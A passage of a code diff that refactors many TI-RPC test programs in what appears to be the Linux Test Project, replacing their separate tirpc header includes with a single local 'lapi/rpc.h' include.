--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_performance.c
index e750ba6..27a4509 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_scalability.c
index 60b0d72..e7cca3c 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_stress.c
index 1a6a2c8..2a12df3 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_call/tirpc_interlevel_clnt_call_stress.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control.c
index cfa2e8d..f6b4bd41 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <tirpc/netconfig.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control_limits.c
index bcac163..6b34aa7 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_control/tirpc_clnt_control_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create/tirpc_clnt_tp_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create/tirpc_clnt_tp_create.c
index 4988770..b98f993 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create/tirpc_clnt_tp_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create/tirpc_clnt_tp_create.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <tirpc/netconfig.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed.c
index dea54b9..a3103ba 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed_limits.c
index bec53ea..f626d02 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_clnt_tp_create_timed/tirpc_clnt_tp_create_timed_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_svc_tp_create/tirpc_svc_tp_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_svc_tp_create/tirpc_svc_tp_create.c
index a5acf0c..8a00a31 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_svc_tp_create/tirpc_svc_tp_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_interlevel_svc_tp_create/tirpc_svc_tp_create.c
@@ -26,13 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast.c
index df18454..7678609 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_complex.c
index 6b017e5..fb19a0a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_complex.c
@@ -28,9 +28,9 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
 #include <sys/socket.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PINGPROC 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_dataint.c
index 61db862..f8a9ea1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_mt.c
index 546cd1d..3cd02e5 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_performance.c
index e473eb4..3e06d58 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_scalability.c
index d42f756..c6a6e2d 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_stress.c
index 6cc48d4..7edde96 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast/tirpc_rpc_broadcast_stress.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp.c
index df44800..a4da3a5 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_complex.c
index 06a86de..10e24af 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_complex.c
@@ -28,9 +28,9 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
 #include <sys/socket.h>
 #include <netdb.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PINGPROC 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_dataint.c
index 2e51920..bd574b1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_dataint.c
@@ -26,9 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/rpc/rpc.h>
 #include <stdlib.h>
 #include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_limits.c
index f1103f7..e077bb6 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_mt.c
index 6c4c13d..0a46127 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_performance.c
index 79bd125..2a6925b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_scalability.c
index a503c03..a40c2aa 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_stress.c
index cee249c..8338310 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_broadcast_exp/tirpc_rpc_broadcast_exp_stress.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call.c
index 0ae82d4..257b108 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_complex.c
index 6af9e08..6276f2f 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_complex.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCTHREADPROC	1000
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_dataint.c
index c9b511a..780f5a0 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_mt.c
index 8e6fd99..376ac0f 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_performance.c
index c2f8527..357d9d1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_scalability.c
index 2395368..73118cb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_stress.c
